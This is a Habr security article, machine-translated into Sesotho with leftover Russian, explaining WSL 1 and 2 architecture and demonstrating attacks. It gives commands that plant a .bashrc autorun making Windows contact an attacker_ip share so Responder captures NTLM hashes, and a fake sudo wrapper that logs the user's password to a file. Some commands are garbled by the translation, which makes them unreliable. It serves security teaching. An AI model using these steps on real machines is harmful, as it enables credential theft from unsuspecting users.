Liteko tsa WSL. Karolo ea 1

Lumela, habr! OTUS e qala mokhoa o mocha oa thupelo ka Mphalane "Linux Security". Ka tebello ea ho qala ha thupelo, re arolelana le uena sehlooho se ngotsoeng ke e mong oa matichere a rona, Alexander Kolesnikov.

Liteko tsa WSL. Karolo ea 1

Ka 2016, Microsoft e ile ea hlahisa theknoloji e ncha ea WSL sechabeng sa IT (Wka hare Subsystem bakeng sa Linux), eo nakong e tlang e ileng ea etsa hore ho khonehe ho kopanya bahlolisani ba neng ba sa lumellane ba neng ba loanela botumo har'a basebelisi ba OS ba tloaelehileng le ba tsoetseng pele: Windows le Linux. Theknoloji ena e entse hore ho khonehe ho sebelisa lisebelisoa tsa Linux OS sebakeng sa Windows ntle le tlhokahalo ea ho tsamaisa Linux, mohlala, ho sebelisa Multi-boot. Ho Habr u ka fumana palo e kholo ea lingoliloeng tse hlalosang melemo ea ho sebelisa WSL. Leha ho le joalo, ka bomalimabe, nakong ea pōpo ea sehlooho sena, ha ho na lithuto tse mabapi le ts'ireletso ea symbiosis e joalo ea mekhoa ea ho sebetsa e fumanoeng mohloling ona. Poso ena e tla ba teko ea ho lokisa sena. Sengoliloeng se tla bua ka likarolo tsa meralo ea WSL 1 le 2 le ho hlahloba mehlala e mengata ea litlhaselo ho litsamaiso tse sebelisang mahlale ana. Sehlooho se arotsoe ka likarolo tse peli. Ea pele e tla fana ka mekhoa e ka sehloohong ea tlhaselo ea theory ho tloha Linux le Windows. Sehlooho sa bobeli se tla kenyelletsa ho theha tikoloho ea liteko le ho hlahisa litlhaselo.

WSL 1: likarolo tsa meralo

Bakeng sa ho ikakhela ka setotsoana litabeng tsa ts'ireletso ea WSL, hoa hlokahala ho tseba lintlha tse kholo tse amanang le ts'ebetsong ea subsystem. E 'ngoe ea mesebetsi ea mantlha ea mosebelisi e rarollotsoeng ke WSL ke bokhoni ba ho sebetsa ka terminal ea Linux ho moamoheli ea sebelisang Windows OS. Hape, tšebelisano e fanoeng e ne e le ea tlhaho hoo lisebelisoa tsa Linux (ELFs) li ka tsamaisoang ka kotloloho ho sistimi ea Windows. Ho fihlela lipheo tsena, ho ile ha thehoa tsamaiso e khethehileng ea Windows 10 e u lumellang hore u tsamaise lits'ebetso tsa Linux u sebelisa li-call tse itseng tsa sistimi - ka hona, ho ile ha etsoa boiteko ba ho etsa 'mapa oa li-syscall tsa Linux ho Windows. Sena se ile sa kenngoa ts'ebetsong ea 'mele ka ho kenyelletsa bakhanni ba bacha le mokhoa o mocha oa ts'ebetso. Ka pono ea meaho e ne e shebahala tjena:

Liteko tsa WSL. Karolo ea 1

Ha e le hantle, ho sebelisana le tsamaiso ea Linux ho ne ho hlophisitsoe ka li-module tse 'maloa tsa kernel le mofuta o khethehileng oa ts'ebetso - pico. Ho tsoa setšoantšong se kaholimo, u ka bona hore ts'ebetso e sebetsang molemong oa Linux ho moamoheli e tlameha ho ba letsoalloa mme e tlameha ho sebelisa lisebelisoa tse tšoanang le lits'ebetso tse tloaelehileng tsa Windows. Empa mokhoa oa ho finyella see? Ka morero Drawbridge Mehopolo ea ts'ebetso ea Windows e ile ea ntlafatsoa e fanang ka likarolo tsohle tse hlokahalang tsa sistimi e sebetsang (ho ipapisitse le mofuta oa eona) ho tsamaisa ts'ebeliso ea OS e 'ngoe.

Hlokomela hore tlhahiso e reriloeng e entse hore ho khonehe ho se tsepamise maikutlo ho sistimi ea ts'ebetso (haholo-holo, Windows), eo ho lebelletsoeng hore ts'ebetso ea OS e 'ngoe e qale, mme e khothalelitse mokhoa o akaretsang.

Kahoo, ts'ebeliso efe kapa efe ka har'a ts'ebetso ea pico e ka sebetsa ntle le ho nahana ka Windows kernel:

  1. Mathata a ho lumellana le ho fetolela mehala ea tsamaiso a tlameha ho rarolloa ke bafani ba khethehileng;
  2. Taolo ya phihlello e tlameha ho etswa ka Tshireletso Monitor. Sesebelisoa se fumaneha ka har'a kernel, ka hona Windows e ne e hloka ntlafatso ka mokhoa oa mokhanni e mocha ea ka sebetsang e le mofani oa lits'ebetso tse joalo. Ts'ebetso ea prototype pico e hlahisoa ka mokhoa o hlophisitsoeng ka tlase:

Liteko tsa WSL. Karolo ea 1

Kaha sistimi ea faele ea Linux e sebelisa lifaele tse sa utloeng litsebeng le mabitso a li-directory, mefuta e 2 ea litsamaiso tsa faele e kentsoe ho Windows ho sebetsa le WSL - VolFS le DriveFS. VolFS ke ts'ebetsong ea sistimi ea faele ea Linux, DriveFS ke sistimi ea faele e sebetsang ho latela melao ea Windows, empa e na le bokhoni ba ho khetha kutloisiso ea linyeoe.

WSL 2

WSL 1 e ne e na le mefokolo e mengata e neng e sa e lumelle ho sebelisoa ho rarolla boholo ba mesebetsi: mohlala, e ne e se na bokhoni ba ho tsamaisa lits'ebetso tsa 32-bit Linux, 'me ho ne ho sa khonehe ho sebelisa bakhanni ba lisebelisoa. Ka hona, ka 2020, WSL 2 e ile ea lokolloa, e ileng ea fetola mokhoa oa ho haha ​​​​subsystem. WSL 2 ke mochini o ntlafalitsoeng o lumellanang le litšobotsi tsa tšebeliso ea lisebelisoa tsa WSL 1. Joale, ho latela mathata a rarollotsoeng ke mosebelisi oa Windows OS, o ka khetha mofuta o hlokahalang oa sistimi e nyane ea Linux. Ho fokotsa bofokoli bo ka bang teng, WSL 2 e ile ea kenngoa ts'ebetsong ho latela Hyper-V ho Windows 10. Ka foromo ena, Windows e na le bokhoni ba ho tsamaisa kernel ea tsamaiso ea Linux ka thōko. Ho bohlokoa ho hopola hore mofuta oa 1 oa WSL o ile oa hlahisoa e le karolo ea beta e neng e lokela ho bonts'a tataiso ea nts'etsopele ea Windows sebakeng sena, kahoo phetoho ea Hyper-V e ne e ke ke ea qojoa. Mohaho oa ho qetela o shebahala tjena:

Liteko tsa WSL. Karolo ea 1

Phetolelong ena, likhoele tsa Windows le Linux li na le lisebelisoa tsa tsona, 'me mateano a teng feela tsamaisong ea faele, empa mateano ana ha a fella. Tšebelisano lipakeng tsa litsamaiso tsa faele e etsoa ka sephutheloana sa li-client-server se sebetsang ho sebelisa protocol ea 9P.

Kajeno Microsoft e fana ka bokhoni ba ho fetola pakeng tsa WSL 1 le WSL 2. Liphetolelo tseo ka bobeli lia fumaneha bakeng sa ho sebelisoa.

Tšireletso ea WSL

Hajoale, ho na le mesebetsi e mengata e hlalosang mekhoa e meng ea ho sebelisa lisebelisoa tse molaong tsa OS ho hlasela puisano lipakeng tsa li-subsystems. Re tla sebelisa mangolo a bona ho lekola bohlokoa ba litlhaselo nakong ea ho ngola. Lethathamo le akaretsang la litlhaselo le maemo:

1. Ts'ebetsong ea tsamaiso ea faele: litokelo tsa ho fihlella, ho fumaneha ha li-directory tse arolelanoang / mekhoa ea phapanyetsano ea data.

Ho ile ha etsoa lipatlisiso ho fumana litlolo tsa melao ea phihlello ho tloha Linux FS-> Windows FS, Windows FS-> Linux FS. Lipatlisiso li bonts'itse bokhoni ba ho fetola faele e fanoeng ka har'a OS eo u e batlang. Ho ile ha boela ha etsoa liteko tsa ho kenya sebaka, ho etsa likopi le ho hlakola karolo ea litsamaiso tsa lifaele.

Boemo:

  • A. Tlhaselo ho tsoa ho sistimi ea ts'ebetso ea Windows - phetoho ea lifaele ho tsoa ho /etc directory ea Linux OS.
  • B. Attack ho tsoa ho sistimi ea ts'ebetso ea Linux - phetoho ea lifaele ho li-directory: C:Windows, C:Program Files, C:Users<User>

2. Ts'ebetsong ea stack ea marang-rang.

Patlisiso e entsoe ho sebelisoa mehlala ea litlhaselo tse tsoang ho sistimi e sebetsang ea Linux ho Windows. Likarolo tsa stack ea marang-rang li ne li sebelisoa, e leng, mekhoa ea ho netefatsa mehloli e fapaneng.

Boemo:

  • Ho bula monyetla oa ho kena boema-kepeng bo nang le sistimi ea Windows
  • Ho bula boemakepe ntle le ditokelo tse loketseng
  • Ho matha khetla e khutlisetsang morao ho sebelisa faele ea elf ho sistimi e sebetsang ea Windows.

3. Ho pata ho qalisoa ha lits'ebetso tse kotsi tsa software ho sebelisa sistimi e nyane ea WSL.

Patlisiso e ne e ipapisitse le 'nete e bonolo - lits'ebetso tsa ts'ireletso ha li khone ho thibela liketsahalo ho kernel e' ngoe e sebetsang ka ho sebelisa mofani oa molao ho tsoa ho sistimi e sebetsang tabeng ea WSL 1. Tabeng ea WSL 2, ha ho na mokhoa oa ho sheba liketsahalo tse etsahalang. ka har'a kernel e arohaneng ka har'a mochini o bobebe o bobebe.

Boemo:

1) Qala ts'ebeliso ea phihlello e hole ho sistimi 'me u shebe liketsahalo tse kentsoeng.

Liteko tsa WSL 1: hash interception (Windows)

Qetellong re ile ra fihla karolong e sebetsang. Pele, o hloka ho theha tikoloho ea liteko. Liteko tsohle li tla etsoa bencheng e nang le Windows 10 2004. Setšoantšo sa Ubuntu 18.04 se khethiloe e le setšoantšo sa tsamaiso ea ts'ebetso bakeng sa WSL. Setšoantšo se khethiloe ka tšohanyetso, 'me leha e le efe e' ngoe e tla sebetsa ka tsela e tšoanang. Litaelo tsa ho theha sethala:

O tlameha ho qala ho qala powershell.exe joalo ka motsamaisi.

Bakeng sa WSL 1 o hloka ho tsamaisa litaelo:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Ka mor'a ho tsosolosa setopo, o ka letsetsa taelo ea bash. Haeba ntho e 'ngoe le e' ngoe e sebetsa hantle, u tla bona tlhahiso e tšoanang le ena ho Windows console:

    Liteko tsa WSL. Karolo ea 1

    Re tla sebelisa phepelo ea Kali Linux joalo ka mochini oa bahlaseli; mechini eohle e tlameha ho ba marang-rang a tšoanang a lehae.

    Ha re nke hore re na le phihlello e se nang monyetla ho WSL mochining oa Windows. Ha re leke ho hlasela sistimi ea ts'ebetso ea Linux ka ho letsetsa taelo ho tsoa ho Linux. Ho kenya ts'ebetsong tlhaselo, re tla sebelisa mokhoa o bonolo oa autorun - re tla eketsa mongolo oa rona bakeng sa ts'ebetsong tikolohong ea Linux. Ho etsa sena o hloka ho fetola file .bashrc.

    Ka mochini o nang le WSL re etsa:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Ka mochini oa Kali Linux re tsamaisa:

    1. Responder -I eth0 -rdvw

    Ka mochini oa Windows, ha re qaleng bash.

    Re emetse sephetho mochining oa Kali Linux:

    Liteko tsa WSL. Karolo ea 1

    Kahoo, re fumane li-hashes tsa mosebelisi oa Windows ka sistimi e tlase ea WSL ka ho etsa taelo ho sistimi ea Linux.

    Liteko tsa WSL 1: ho fumana password ea mosebelisi (Linux OS)

    Ha re etseng teko e 'ngoe hape. Nakong ea tlhahlobo ena re tla eketsa faele .bashrc litaelo tse 'maloa e le hore u fumane password ea mosebedisi ea tsamaiso ea Linux.

    Ha re qaleng bash mme re kenye litaelo:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Ho phethela tlhaselo ka katleho, mosebelisi Sam o hloka ho letsetsa sudo ho terminal ea Linux. Kamora sena, password ea mosebelisi ea Linux OS e tla ba faeleng pass.txt:

    Liteko tsa WSL. Karolo ea 1

    Ts'ebetsong ea litlhaselo e fanoe bakeng sa tlhahisoleseding ea theory feela.

    Karolo e latelang ea sengoloa e tla hlalosa ts'ebetsong ea protocol ea 9P, nahana ka ho theha skena bakeng sa protocol ena, hape o etse tlhaselo e e sebelisang.

    Lethathamo la lingoliloeng tse sebelisitsoeng

    Liteko tsa WSL. Karolo ea 1

    Bala haholoanyane

    Source: www.habr.com

    Eketsa ka tlhaloso